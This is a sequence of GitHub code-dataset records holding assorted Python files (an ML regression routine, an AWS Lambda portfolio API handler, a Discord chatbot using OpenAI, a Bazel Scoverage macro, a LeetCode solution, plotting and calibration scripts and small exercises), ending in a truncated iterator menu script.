converge criterion\n losses.append(loss)\n if len(losses) > 1 and np.abs(losses[-1] - losses[-2]) < threshold:\n break\n \n return losses, ws\n\n# Keep only one regularized function with/without Newton ? (lambda = 0 for normal regression)\n\ndef logistic_regression_with_Batch(y, tx, initial_w, max_iters, gamma):\n \"\"\" Logistic regression using gradient descent, Newton method and mini-batches\"\"\"\n \n # init parameters\n batch_size = 40\n threshold = 1e-8\n ws = [initial_w]\n losses = []\n w = initial_w\n \n for n_iter in range(max_iters):\n for minibatch_y, minibatch_tx in batch_iter(y, tx, batch_size):\n gradient = compute_gradient(minibatch_y,minibatch_tx,w)\n loss = compute_loss(minibatch_y,minibatch_tx,w)\n hessian = calculate_hessian(minibatch_y,minibatch_tx,w)\n w = w - np.linalg.inv(hessian).dot(gradient)\n ws.append(w)\n # converge criterion\n losses.append(loss)\n if len(losses) > 1 and np.abs(losses[-1] - losses[-2]) < threshold:\n break\n \n\n \n return losses, ws\n","repo_name":"romi514/Project1-ML","sub_path":"Code/implementations.py","file_name":"implementations.py","file_ext":"py","file_size_in_byte":5780,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"14103232120","text":"#!/usr/local/bin/python3\n# -*- coding: utf-8 -*-\n\nfrom http import HTTPStatus\nimport json\nimport pprint\nimport methods as db\nfrom database_manager import ORIGIN \n\ndef handler(event, context):\n method = event.get(\"httpMethod\")\n query_params = event.get(\"queryStringParameters\")\n path = event.get(\"path\")\n if path:\n path = path.lower()\n \n body = event.get(\"body\")\n records = event.get(\"Records\")\n print(event)\n\n print(body)\n\n #SNS\n if records:\n user_id = json.loads(json.loads(records[0][\"body\"])[\"Message\"])[\"sub\"]\n try:\n session = create_user(user_id)\n session.commit()\n except Exception as e:\n print(\"Exception_handler \",str(e))\n db.get_session().rollback()\n finally:\n db.get_session().close()\n return\n\n user_id = event[\"requestContext\"][\"authorizer\"][\"claims\"][\"sub\"]\n #HTTP\n try:\n if method == 'GET':\n resp = get_handler(query_params, path, user_id)\n elif method == 'POST':\n resp = post_handler(body, path, user_id)\n elif method == 'DELETE':\n resp = delete_handler(query_params, path, user_id)\n else:\n pass\n except Exception as e:\n print(\"Exception_handler \",str(e))\n db.get_session().rollback()\n resp = response(str(e), HTTPStatus.INTERNAL_SERVER_ERROR)\n finally:\n db.get_session().close()\n return resp\n\ndef create_user(user_id):\n created_user = db.add_user(user_id)\n if created_user:\n return created_user\n else:\n msg = \"User already exists with id \" + user_id\n raise Exception(msg)\n\ndef response(msg, status):\n response = {\n \"headers\": {\n \"Access-Control-Allow-Origin\": ORIGIN\n },\n \"statusCode\" : status,\n \"body\" : json.dumps(msg)\n }\n return response\n\ndef get_all_favourites(query_params, user_id):\n favourite_list = db.get_all_favourite(user_id)\n if favourite_list:\n resp = response(serialize_list(favourite_list), HTTPStatus.OK)\n else:\n resp = response(favourite_list, HTTPStatus.NOT_FOUND)\n return resp\n\ndef get_user_portfolio(query_params, user_id):\n user_id_portfolio = db.get_user(user_id)\n if user_id_portfolio:\n resp = response(user_id_portfolio.serialize(), HTTPStatus.OK)\n else:\n resp = response(user_id_portfolio, HTTPStatus.NOT_FOUND)\n return resp\n\ndef add_favourite(body, user_id):\n stock_symbol = body[\"stock_symbol\"]\n status = body[\"favourite_status\"]\n added_favourite = db.get_favourite(user_id, stock_symbol, status)\n if added_favourite == None:\n return db.add_favourite(user_id, stock_symbol, status)\n else:\n msg = \"This favourite \" + stock_symbol + \" already exists.\"\n raise Exception(msg)\n\ndef get_handler(query_params, path, user_id):\n try:\n if \"ping\" in path:\n resp = response(\"I am alive!\", HTTPStatus.OK)\n ## gets can be added here look in index for stock service\n elif \"allfavourites\" in path:\n resp = get_all_favourites(query_params, user_id)\n elif \"getportfolio\" in path:\n resp = get_user_portfolio(query_params, user_id)\n else:\n msg = \"The '\" + path + \"' is not supported\"\n resp = response(msg, HTTPStatus.BAD_REQUEST)\n return resp\n except KeyError as e:\n msg = \"This request is not valid \" + str(e) + \" \" + e.args\n raise RequestNotValidException(msg)\n\ndef post_handler(body, path, user_id):\n body = json.loads(body)\n print(body)\n if \"addfavourite\" in path:\n ## posts can be added here look at handler in stock service\n session = add_favourite(body, user_id)\n else:\n msg = \"The '\" + path + \"' is not supported\"\n resp = response(msg, HTTPStatus.BAD_REQUEST)\n return resp\n session.commit()\n msg = \"success!\"\n resp = response(msg, HTTPStatus.CREATED)\n return resp\n\ndef delete_favourite(user_id, query_params):\n symbol = query_params.get(\"symbol\")\n if symbol:\n return db.delete_favourite(user_id, symbol)\n else:\n raise RequestNotValidException(\"Please provide symbol\")\n\ndef delete_handler(query_params, path, user_id):\n if \"deletefavourite\" in path:\n session = delete_favourite(user_id, query_params)\n else:\n msg = \"The '\" + path + \"' is not supported\"\n resp = response(msg, HTTPStatus.BAD_REQUEST)\n return resp\n session.commit()\n msg = \"Delete Success!\"\n resp = response(msg, HTTPStatus.OK)\n return resp\n\ndef serialize_list(data_list):\n serialized_data_list = []\n for i in data_list:\n serialized_data_list.append(i.serialize())\n return serialized_data_list\n\nclass RequestNotValidException(Exception):\n pass\n","repo_name":"umarfarooqkt/stock-platform-backend","sub_path":"lambdas/portfolio/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":4826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"28788754666","text":"\"\"\" Article Class used in News Bias Program \"\"\"\n\n# Import stuff\nfrom pattern.web import URL, plaintext, strip_between\n\nclass Article(object):\n \"\"\" Stores the information for each article to be analyzed \"\"\"\n def __init__(self, url, tags):\n \"\"\" url: the url of the website\n tags: the relevant html tags to strip\n contents: the text of the article\n \"\"\"\n self.url = url\n self.tags = tags\n self.contents = self.get_contents()\n\n def __repr__(self):\n \"\"\" Returns article text \"\"\"\n return self.contents\n\n def get_contents(self):\n \"\"\" Returns the article contents by reading in the html from the\n url, stripping away the tags, and returning a string of text\n \"\"\"\n text = URL(self.url).download()\n\n # Strip out text between the specific tags\n for t in self.tags:\n text = strip_between(t[0], t[1], text)\n\n # Strip out general html formatting and convert to proper text form\n text = plaintext(text)\n text = text.encode('utf8')\n return text\n","repo_name":"anishan/news_analysis","sub_path":"article.py","file_name":"article.py","file_ext":"py","file_size_in_byte":1096,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"9818320356","text":"#Author: Jabulani Mavodze\n#Task L1T20\n#Compulsory Task 2\n#Date :01 March 2022\n\n#This line of code declares and initialises a dictionary 'countryMap'.\ncountryMap = {\"Congo\" : \"Kinshasa\",\n\t \"United Kingdom\" : \"London\",\n\t \"Sweden\" : \"Stockholm\",\n\t \"Canada\" : \"Ottawa\",\n\t \"South Africa\" : \"Pretoria\",\n\t \"USA\" : \"Washington DC\"\n\t }\n\n#This line prints the value that goes with the key 'sweden'.\t \nprint(countryMap[\"Sweden\"])\n","repo_name":"Ejay14/Python","sub_path":"hash.py","file_name":"hash.py","file_ext":"py","file_size_in_byte":454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"23180233706","text":"\n\n\n#### This file will show various Python Container (Collection) Types ####\n\n#### Dictionaries ####\n # Uses curly brackets {}\n # \n\nmy_person = { \n 'first_name' : 'Olav',\n 'last_name' : 'Adamsrød',\n 'age' : 27,\n 'profession' : ['Jr Security researcher', 'Student'],\n 'relationship status' : 'taken',\n}\n\nprint(my_person['first_name']+' '+my_person['last_name'])\n\nfor i in my_person['profession']:\n print(i)\nprint(len(my_person))\n\n\n#### List ####\n # Square brackets []\n # \n\n\"\"\" my_list = ['one', 'two', 3]\nprint(my_list)\nfor element in my_list:\n print(element)\n if len(my_list) == 3:\n my_list.append('four')\n else:\n for jellyment in my_list:\n if len(my_list) == 4:\n my_list.append(5)\n else:\n print('Stoffers stive tiss')\n for jellybellyment in my_list:\n if my_list[:-1] == 5:\n print('shcmaker gut!')\n my_list.append(6)\n else:\n print('break')\n break\n \nprint('two' in my_list)\n\"\"\"\n\n\n#### Tuples ####\n # Tuples uses parentasis \n # Is immutable!!!\n\nmy_tuple = ('Oslo', 'Trondheim', 'Bergen', 'Kristiandsand', 'Tromsø', 'Stavanger')\nprint(my_tuple)\nyour_tuple = my_tuple\nprint(your_tuple)\n\n\n#### Sets ####\n # Order in the tuples is not set in memory, so the order might when running\n # uses squirly brackets {} \n\nmy_set = {'Oslo', 'Trondheim', 'Bergen', 'Kristiandsand', 'Tromsø', 'Stavanger'}\nmy_set_2 = {'Tønsberg', 'Oslo', 'Kristiansand', 'Grimstad', 'Arendal', 'Porsgrunn'}\n\nprint(my_set)\nprint('Oslo' in my_set)\nprint(my_set.difference(my_set_2))\nprint(my_set.union(my_set_2))\n\n\n\n# Empty Lists\nempty_list = []\nempty_list = list()\n\n# Empty Tuples\nempty_tuple = ()\nempty_tuple = tuple()\n\n# Empty Sets\nempty_set = {} # This is not right, its a dict\nempty_set = set()\n\n\n\n\n\n\n","repo_name":"olav-adamsroed/learningbase","sub_path":"python/data_structures/containers.py","file_name":"containers.py","file_ext":"py","file_size_in_byte":1945,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"20199016904","text":"# 假设Andy和Doris想在晚餐时选择一家餐厅,并且他们都有一个表示最喜爱餐厅的列表,每个餐厅的名字用字符串表示。\n#\n# 你需要帮助他们用最少的索引和找出他们共同喜爱的餐厅。 如果答案不止一个,则输出所有答案并且不考虑顺序。 你可以假设总是存在一个答案。 \n#\n# 示例 1: \n#\n# 输入:\n# [\"Shogun\", \"Tapioca Express\", \"Burger King\", \"KFC\"]\n# [\"Piatti\", \"The Grill at Torrey Pines\", \"Hungry Hunter Steakhouse\", \"Shogun\"]\n# 输出: [\"Shogun\"]\n# 解释: 他们唯一共同喜爱的餐厅是“Shogun”。\n# \n#\n# 示例 2: \n#\n# 输入:\n# [\"Shogun\", \"Tapioca Express\", \"Burger King\", \"KFC\"]\n# [\"KFC\", \"Shogun\", \"Burger King\"]\n# 输出: [\"Shogun\"]\n# 解释: 他们共同喜爱且具有最小索引和的餐厅是“Shogun”,它有最小的索引和1(0+1)。\n# \n#\n# 提示: \n#\n# \n# 两个列表的长度范围都在 [1, 1000]内。 \n# 两个列表中的字符串的长度将在[1,30]的范围内。 \n# 下标从0开始,到列表的长度减1。 \n# 两个列表都没有重复的元素。 \n# \n# Related Topics 哈希表\n\nfrom typing import List\n\n\n# leetcode submit region begin(Prohibit modification and deletion)\nclass Solution:\n def findRestaurant(self, list1: List[str], list2: List[str]) -> List[str]:\n #### 先查共同点,再找所有的索引最小\n # co_list = []\n # inds = []\n # result =[]\n # for i, str1 in enumerate(list1):\n # if str1 in list2:\n # ind = int(i) + int(list2.index(str1))\n # inds.append(ind)\n # co_list.append(str1)\n # for i,ind in enumerate(inds):\n # if ind == min(inds):\n # result.append(co_list[i])\n #\n # return result\n\n ### 先构建字典(哈希),再查询\n co_list = []\n inds = []\n result =[]\n dic2 = {}\n # for i,n in enumerate(list2):\n # dic2[n] =i\n dic2 = {n:i for i,n in enumerate(list2)}\n for i, str1 in enumerate(list1):\n j = dic2.get(str1)\n if j is not None:\n inds.append(i+j)\n co_list.append(str1)\n if len(inds) == 1:\n return co_list\n for i,ind in enumerate(inds):\n if ind == min(inds):\n result.append(co_list[i])\n return result\n\n ### 非常python的代码\n\n # d = {x: list1.index(x) + list2.index(x) for x in set(list1) & set(list2)}\n # return [x for x in d if d[x] == min(d.values())]\n\n\n# leetcode submit region end(Prohibit modification and deletion)\n\n###  自建本地测试\nif __name__ == '__main__':\n nums = Solution.findRestaurant(Solution, [\"Shogun\", \"Tapioca Express\", \"Burger King\", \"KFC\"],\n [\"KFC\", \"Burger King\", \"Tapioca Express\", \"Shogun\"]\n )\n print(nums)\n","repo_name":"heartbeat180/LeetCode_practice","sub_path":"leetcode/editor/cn/[599]Minimum Index Sum of Two Lists.py","file_name":"[599]Minimum Index Sum of Two Lists.py","file_ext":"py","file_size_in_byte":2931,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"15252809171","text":"load(\"@io_bazel_rules_scala//scala:scala.bzl\", _scala_library = \"scala_library\", _scala_test = \"scala_test\")\n\ndef scala_library(**kwargs):\n _scala_library(**kwargs)\n kwargs = _setup_scoverage(kwargs)\n _scala_library(**kwargs)\n\ndef scala_test(**kwargs):\n _scala_test(**kwargs)\n kwargs = _setup_scoverage_test(kwargs)\n _scala_test(**kwargs)\n\ndef _setup_scoverage_test(kwargs):\n def _use_instrumented(input):\n # To collect coverage information, tests have to depend on the instrumented build targets.\n # if the given input label has an instrumented version of build target, use that one.\n # Checking if there exists instrumented version of target by heuristics that the\n # - label starts with \"//\" (the target is defined in this repository)\n # - label contains \"src/main\" (the target is defined in somewhere in \"src/main\")\n # but this heuristics may barek in future.\n # AFAIK, there's no way to check the given label is exists in build (before analysis phase).\n if input.startswith(\"//\") and input.find(\"src/main\") > 0:\n label = Label(input)\n return \"//{}:{}.instrumented\".format(label.package, label.name)\n else:\n return input\n kwargs[\"name\"] = kwargs[\"name\"] + \".scoverage\"\n\n # Do not cache test otherwise the coverage measurements won't be generated in `/tmp/scoverage-data/...`\n # see https://github.com/bazelbuild/rules_scala/issues/184#issuecomment-1484828184 for more details\n if \"tags\" not in kwargs:\n kwargs[\"tags\"] = []\n kwargs[\"tags\"].extend([\"scoverage\", \"manual\", \"no-cache\"])\n\n if \"deps\" not in kwargs:\n kwargs[\"deps\"] = []\n kwargs[\"deps\"] = [_use_instrumented(x) for x in kwargs[\"deps\"]]\n\n return kwargs\n\ndef _setup_scoverage(kwargs):\n # Create an extra built target with scoverage instrumentation\n # whose name is \".instrumented\" suffixed.\n # e.g. \"//src/main:main\" will be \"//src/main:main.instrumented\"\n kwargs[\"name\"] = kwargs[\"name\"] + \".instrumented\"\n\n # Convert targets' label to directory name.\n # For example, \"//commons/hmac-auth/src/main:main.instrumented\" will be\n # commons_hmac-auth_src_main_main.instrumented\n # The coverage information from this target will be written into\n # \"/tmp/scoverage-data/commons_hmac-auth_src_main_main.instrumented/\"\n # by setting scalacopts \"-P:scoverage:dataDir:...\"\n pkg_name = native.package_name().replace(\"/\", \"_\")\n dir_name = pkg_name + \"_\" + kwargs[\"name\"]\n\n # Do not cache build otherwise the coverage information won't be created in `/tmp/scoverage-data/...`\n # see https://github.com/bazelbuild/rules_scala/issues/184#issuecomment-1484828184 for more details\n if \"tags\" not in kwargs:\n kwargs[\"tags\"] = []\n kwargs[\"tags\"].extend([\"manual\", \"no-remote-cache\"])\n\n if \"deps\" not in kwargs:\n kwargs[\"deps\"] = []\n kwargs[\"deps\"].append(\"@maven//:org_scoverage_scalac_scoverage_runtime_2_13\")\n\n if \"plugins\" not in kwargs:\n kwargs[\"plugins\"] = []\n kwargs[\"plugins\"].append(\"@maven//:org_scoverage_scalac_scoverage_plugin_2_13_6\")\n\n if \"scalacopts\" not in kwargs:\n kwargs[\"scalacopts\"] = []\n kwargs[\"scalacopts\"].extend([\n \"-P:scoverage:dataDir:/tmp/scoverage-data/\" + dir_name,\n \"-P:scoverage:reportTestName\",\n ])\n return kwargs\n","repo_name":"tanishiking/bazel-playground","sub_path":"18-scala-scoverage/scala.bzl","file_name":"scala.bzl","file_ext":"bzl","file_size_in_byte":3355,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"74843322329","text":"import sys\ndef MaximumSubarr(arr, n):\n \n dp = [[0 for i in range(n+1)] for j in range(0, n+1)]\n\n max_sum = -sys.maxsize\n for i in range(0, len(dp)):\n \n L = i + 1\n for j in range(L, len(dp[i])):\n dp[i][j] = dp[i][j-1] + arr[j-1]\n max_sum = max(max_sum, dp[i][j])\n \n print(dp)\n\n return max_sum\n \n\n\narr = [-2, 1]\nans = MaximumSubarr(arr, len(arr))\nprint(ans)","repo_name":"Jaidev810/Competitive-Questions","sub_path":"LeetCode/Dynamic Programming/MaximumSubarray.py","file_name":"MaximumSubarray.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"39383464840","text":"def fizzBuzz_readable(n):\n ret = ''\n if n % 3 == 0:\n ret += \"Fizz\" \n if n % 5 == 0:\n ret += \"Buzz\" \n\n return ret if len(ret) > 0 else n \n\ndef fizzBuzz(n): \n ret = \"Fizz\" if n % 3 == 0 else \"\"\n ret += \"Buzz\" if n % 5 == 0 else \"\"\n return ret if len(ret) > 0 else n \n\n\nif __name__ == \"__main__\":\n print([fizzBuzz(n) for n in range(1,50)])","repo_name":"Luviz/CodeResume","sub_path":"Python/fizzBuzz/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":374,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"16660569476","text":"# %%\n\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy.polynomial.polynomial as poly\nimport numpy as np\nimport os\n\ncur_path = os.getcwd()\naddon = 'poti_kalib'\nfilename = 'poti_calibration.xlsx'\nfilename = filename if addon in cur_path else f'{addon}/{filename}'\ndf = pd.read_excel(filename)\na_arr = np.array(df['Neu A'])\nb_arr = np.array(df['Neu B'])\nk_arr = np.array(df['K'])\nk_arr = k_arr[k_arr < 1e5]\ngrad = np.array(df['Grad'])\n\n\ndef fit_poti(grad_arr, poti_arr, poly_deg=3, offset=0):\n grad_arr = grad_arr[:len(poti_arr)]\n coefficients = poly.polyfit(poti_arr, grad_arr, poly_deg)\n ffit = poly.Polynomial(coefficients)\n\n plt.grid(0.25)\n plt.plot(poti_arr, grad_arr, label='True Value', linestyle='-.')\n plt.plot(poti_arr, ffit(poti_arr), label='Measured Value')\n plt.xlabel('Raw Value []')\n plt.ylabel('Degree [°]')\n plt.xlim([0, 3500])\n plt.ylim([0, 180])\n plt.legend()\n\n # apply offset:\n coefficients[0] += offset\n ffit = poly.Polynomial(coefficients)\n print('Coefficients: ', coefficients)\n\n coefficients_lin = poly.polyfit(poti_arr, grad_arr, 1)\n print('Coefficients: ', coefficients_lin)\n\n return ffit\n\n\ndef provide_offsets_infos(poti_polys):\n print(poti_polys['B'](3740) - 90)\n print(poti_polys['A'](2817) - 90)\n print(poti_polys['B'](2260) - 0)\n\n\nmode = 1\n# %%\nif mode == 0:\n poti_polys = {}\n plt.figure(figsize=(8, 12))\n plt.subplot(3, 1, 1)\n poti_polys['B'] = fit_poti(grad, b_arr, offset=(-99.719 + 0))\n plt.subplot(3, 1, 2)\n poti_polys['A'] = fit_poti(grad, a_arr, offset=(-48.569 + 0))\n plt.subplot(3, 1, 3)\n poti_polys['K'] = fit_poti(grad, k_arr, offset=(-16))\n# %%\nelse:\n poti_polys = {}\n plt.figure(figsize=(8, 12))\n plt.subplot(3, 1, 1)\n poti_polys['B'] = fit_poti(grad, b_arr, offset=(-20 + 0))\n plt.subplot(3, 1, 2)\n poti_polys['A'] = fit_poti(grad, a_arr, offset=(-35 + 0))\n plt.subplot(3, 1, 3)\n poti_polys['K'] = fit_poti(grad, k_arr, offset=(-16))\n","repo_name":"NikonPic/ExoEval","sub_path":"poti_kalib/poti_eval.py","file_name":"poti_eval.py","file_ext":"py","file_size_in_byte":2004,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"6883780527","text":"from tornado import gen\nfrom tornado.ioloop import IOLoop\n\nfrom bokeh.server.server import Server\nfrom bokeh.application.handlers import FunctionHandler\nfrom bokeh.application import Application\n\nimport numpy as np\n\nfrom bokeh.plotting import figure\nfrom bokeh.models import ColumnDataSource\n\nimport fire\n\nclass BokehScope(object):\n def __init__(self, curves, active):\n self.io_loop = IOLoop.current()\n self.bokeh_app = Application(FunctionHandler(self.modify_doc))\n self.server = Server({'/': self.bokeh_app}, io_loop=self.io_loop)\n\n self.colors = ['blue', 'red', 'green', 'magenta']\n self.curves = curves\n self.active = active\n self.source = ColumnDataSource(data=self.curves.downsample())\n self.busy = False\n self.skip_update = False\n\n def plot(self):\n print('Opening Bokeh application on http://localhost:5006/')\n self.server.start()\n self.io_loop.add_callback(self.server.show, \"/\")\n self.io_loop.start()\n\n def modify_doc(self, doc):\n plot = figure(plot_width=1400, title=\"Waveforms\",\n tools=\"xpan,xwheel_zoom,xbox_zoom,undo, redo, reset\")\n for i, c in enumerate(self.active):\n plot.line(x='t', y=c, color=self.colors[i], source=self.source)\n doc.add_root(plot)\n\n @gen.coroutine\n def update():\n self.source.data = self.curves.downsample(\n tlim=[plot.x_range.start, plot.x_range.end])\n self.busy = False\n\n def change_callback(attr, old, new):\n if not self.busy:\n self.busy = True\n doc.add_next_tick_callback(update)\n plot.x_range.on_change('end', change_callback)\n\ndef plot(folder, names, to_plot):\n from . import parse\n\n c = parse.CurveSet(folder, names)\n\n try:\n app = BokehScope(c, to_plot)\n app.plot()\n except KeyboardInterrupt:\n exit()\n pass\n\nif __name__ == \"__main__\":\n fire.Fire(plot)","repo_name":"chiraag/isf_utils","sub_path":"isf/viewer.py","file_name":"viewer.py","file_ext":"py","file_size_in_byte":1990,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"41337018080","text":"import openai\nimport discord\nimport sqlite3\n\ntoken = \"str\"\n\nopenai.api_key = \"str\"\n\nprint(f'should be working in a second')\n\n\nclass ChatAI(discord.Client):\n\n async def on_ready(self):\n print(f\"bot online\")\n\n async def on_message(self, message):\n\n if message.author == self.user:\n return\n\n if client.user.mentioned_in(message):\n\n print(f\"pray it works \")\n\n # sqlite database\n conn = sqlite3.connect('conversation_history.db')\n cursor = conn.cursor()\n\n print(f\"database connected\")\n\n # create the conversation history table if it doesn't exist\n cursor.execute('''CREATE TABLE IF NOT EXISTS conversation_history\n (user_id TEXT, question TEXT, response TEXT)''')\n conn.commit()\n\n print(f\"conversation history table existing/created\")\n\n # function to get the conversation history for a user\n def get_conversation_history(user_id):\n cursor.execute('SELECT question, response FROM conversation_history WHERE user_id=?', (user_id,))\n rows = cursor.fetchall()\n if not rows:\n return []\n return [{'question': row[0], 'response': row[1]} for row in rows]\n\n print(f\"conversation history func 1 done\")\n\n # function to add a question and response to the conversation history for a user\n def add_to_conversation_history(user_id, question, response):\n cursor.execute('INSERT INTO conversation_history VALUES (?, ?, ?)', (user_id, question, response))\n conn.commit()\n\n print(f\"conversation history func 2 done\")\n\n # making the prompt\n prompt = \"Gaynor is a hunky, dominant acting male who is a whopper eater and likes to converse with users.\\n\"\n prompt += \"\\n\".join([qa[\"question\"]+'\\n'+qa[\"response\"] for qa in get_conversation_history(user_id=message.author.id)])\n prompt += \"\\n You: \" + message.content + \"\\n Gaynor:\"\n\n print(f\"prompt created\")\n\n # generating the response\n responseA = openai.Completion.create(\n model=\"text-davinci-003\",\n temperature=1.5,\n prompt=prompt,\n max_tokens=60,\n top_p=0.5,\n frequency_penalty=1,\n presence_penalty=0.0,\n stop=[\" You:\", \" Gaynor:\"],\n )\n\n # printing to diagnose any issues with the prompt\n print(responseA)\n\n # adding to the locally stored memory\n add_to_conversation_history(message.author.id, message.content, responseA.choices[0].text.strip())\n\n # send response to chat\n await message.channel.send(responseA.choices[0].text.strip(), reference=message)\n\n print(f\"ok should've worked\\n\", get_conversation_history(user_id=message.author.id), \"\\n\\n amazing and finished\")\n\n\nclient = ChatAI()\nclient.run(token)\n","repo_name":"brookhhh/ChatGPTDiscordBot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3037,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"30440315054","text":"import numpy as np\nfrom time import time, strftime, gmtime, ctime\nimport os\nimport datetime\nimport brian2 as b2\nb2.BrianLogger.suppress_name('method_choice')\nfrom Old.make_test_samples import make_spk, find_match_dists, multi_shift, calc_distance\n# %%\ndef find_for_neuron(neuron, distance, shift_params, eps=1e-3):\n shifted = multi_shift(neuron, **shift_params)\n distances_from_neuron = calc_distance(shifted, neuron)['vector']\n matching_ind = find_match_dists(distances_from_neuron, distance, eps=eps)\n if matching_ind:\n res = (shifted[matching_ind], distances_from_neuron[matching_ind])\n else:\n res = None, None\n return res\n# %% Manually determined conditions for distance generation\nnum_shifts = 50\nconds = {(15, 0.05): {'shifts': np.arange(15), 'frac_shifts': np.linspace(0.1, 1, 10)},\n (15, 0.1): {'shifts': np.arange(5,35,5), 'frac_shifts': np.linspace(0.1, 1, 10)},\n (15, 0.2): {'shifts': np.arange(20, 120, 10), 'frac_shifts': np.linspace(0.1, 1, 10)},\n (15, 0.3): {'shifts': [150, 200, 300]},\n (50, 0.05): {'shifts': np.arange(10), 'frac_shifts': np.linspace(0.1, 1, 10)},\n (50, 0.1): {'shifts': np.arange(10), 'frac_shifts': np.linspace(0.1, 1, 10)},\n (50, 0.2): {'shifts': np.arange(5, 35, 5), 'frac_shifts': np.linspace(0.1, 1, 10)},\n (50, 0.3): {'shifts': [150, 200, 300]},\n (100, 0.05): {'shifts': np.arange(5), 'frac_shifts': np.linspace(0.1, 1, 10)},\n (100, 0.1): {'shifts': np.arange(3, 11), 'frac_shifts': np.linspace(0.1, 1, 10)},\n (100, 0.2): {'shifts': np.arange(5, 15), 'frac_shifts': np.linspace(0.1, 1, 10)},\n (100, 0.3): {'shifts': [150, 200, 300]}\n }\nfor cond in conds.values():\n cond.update({'n': num_shifts})\n# %%\ndistances = [0.05, 0.1, 0.2, 0.3]\nfrequencies = [15, 50 ,100]\nnum_neurons = [30, 150, 500]\nnum_samples = 30\nduration_ms = 500\ndata_folder = '/mnt/disks/data'\nmain_folder = f\"{data_folder}/{datetime.datetime.now().strftime('%d_%m')}_samples/\"\nif not(os.path.exists(main_folder)):\n oldmask = os.umask(0)\n os.mkdir(main_folder, 0o777)\n os.umask(oldmask)\n# %%\ntotal_neurons = np.sum(num_neurons) * num_samples\n\nfor freq in frequencies:\n freq_start = time()\n print(f'Working on {freq}Hz, started on {ctime()}')\n freq_folder = f'{main_folder}/{freq}hz/'\n if not (os.path.exists(freq_folder)):\n oldmask = os.umask(0)\n os.mkdir(freq_folder, 0o777)\n os.umask(oldmask)\n for dist in distances:\n dist_start = time()\n print(f'\\t distance={dist}, started on {ctime()}')\n # Set conditions for each distance frequency combination\n # For each neuron in the set, generate a small sample of shifted versions and pick the closest one\n neurons = make_spk(freq, duration_ms, total_neurons, exact_freq=False)\n print('\\t\\t ', end=\"\", flush=True)\n neur_times = []\n pairs = np.zeros(total_neurons, dtype={'names': ('a', 'b', 'distance'),\n 'formats': (object, object, float)})\n params = conds[(freq, dist)]\n found = 0\n i = 0\n while found < total_neurons:\n i += 1\n if not(neurons):\n neurons = make_spk(freq, duration_ms, total_neurons, exact_freq=False)\n neuron = neurons.pop()\n print(f'\\b\\b\\b\\b\\b{freq}Hz, distance={dist} : Scanning neuron #{i:000002}')\n neuron_start = time()\n matching = None\n matching, real_dist = find_for_neuron(neuron, dist, params)\n if matching:\n pairs[found]['a'] = neuron\n pairs[found]['b'] = matching\n pairs[found]['distance'] = real_dist\n found += 1\n print(f'Found {found}/{total_neurons} Neurons so far ({found/total_neurons:.2%})')\n neur_times.append(time() - neuron_start)\n\n # neur_times = np.zeros(total_neurons)\n # pair_num = 0\n # i = 0\n # while neurons:\n # i+=1\n # neuron = neurons.pop()\n # print(f'\\b\\b\\b\\b\\bNeuron #{i:00002}', end=\"\", flush=True)\n # neuron_start = time()\n # params = conds[(freq, dist)]\n # matching = None\n # counter = 0\n # while not(matching):\n # if counter >= 25:\n # neuron = make_spk(freq, duration_ms, 10, uniform_freq=False)\n # counter = 0\n # print('Counter exceeded')\n # matching, real_dist = find_for_neuron(neuron, dist, params)\n # counter += 1\n # pairs[pair_num]['a'] = neuron\n # pairs[pair_num]['b'] = matching\n # pairs[pair_num]['distance'] = real_dist\n # pair_num += 1\n # neur_times[i-1] = time() - neuron_start\n print(f'Begin dividing into samples, started on {ctime()}')\n division_time = time()\n loc = 0\n for num_neur in num_neurons:\n all_samples = np.zeros(num_samples, dtype={'names': ('a', 'b', 'distance'),\n 'formats': (object, object, float)})\n print(f'Making samples of {num_neur} neurons')\n for samp in range(num_samples):\n all_samples[samp]['a'] = pairs[loc:loc+num_neur]['a']\n all_samples[samp]['b'] = pairs[loc:loc+num_neur]['b']\n all_samples[samp]['distance'] = pairs[loc:loc+num_neur]['distance'].mean()\n loc += num_neur\n print('Saving')\n\n with open(f'{freq_folder}{num_neur}Neurons_distance={dist}_{number_of_stimuli}Samples.npy', 'wb') \\\n as file:\n np.save(file, all_samples)\n\n print(f\"\\t {dist} distance took {strftime('%M:%S', (gmtime(time()-dist_start)))}\")\n print(f\"Mean time per neuron is {strftime('%M:%S', gmtime(np.mean(neur_times)))}\")\n print(f\"{freq}hz took {strftime('%M:%S', gmtime(time()-freq_start))}\")\n\n","repo_name":"ronimb/temporal-coding","sub_path":"Old/generate_distance_prototypes.py","file_name":"generate_distance_prototypes.py","file_ext":"py","file_size_in_byte":6021,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"33398161043","text":"#Доповнити завдання № 1 з програмування, написавши власні ітератор та генератор для генерації даних для списку завдання.\n# Програма повинна мати меню для вибору способу генерації списку з можливістю виходу з меню.\n# Розділити програму на декілька файлів, кожен з яких відповідає за свою структурну одиницю.\nimport random\nfrom Iterator import *\nfrom RandomIterator import *\nfrom Generator import generator\n\n\ndef options():\n print(\"1 - Iterator\")\n print(\"2 - Generator\")\n print(\"0 - 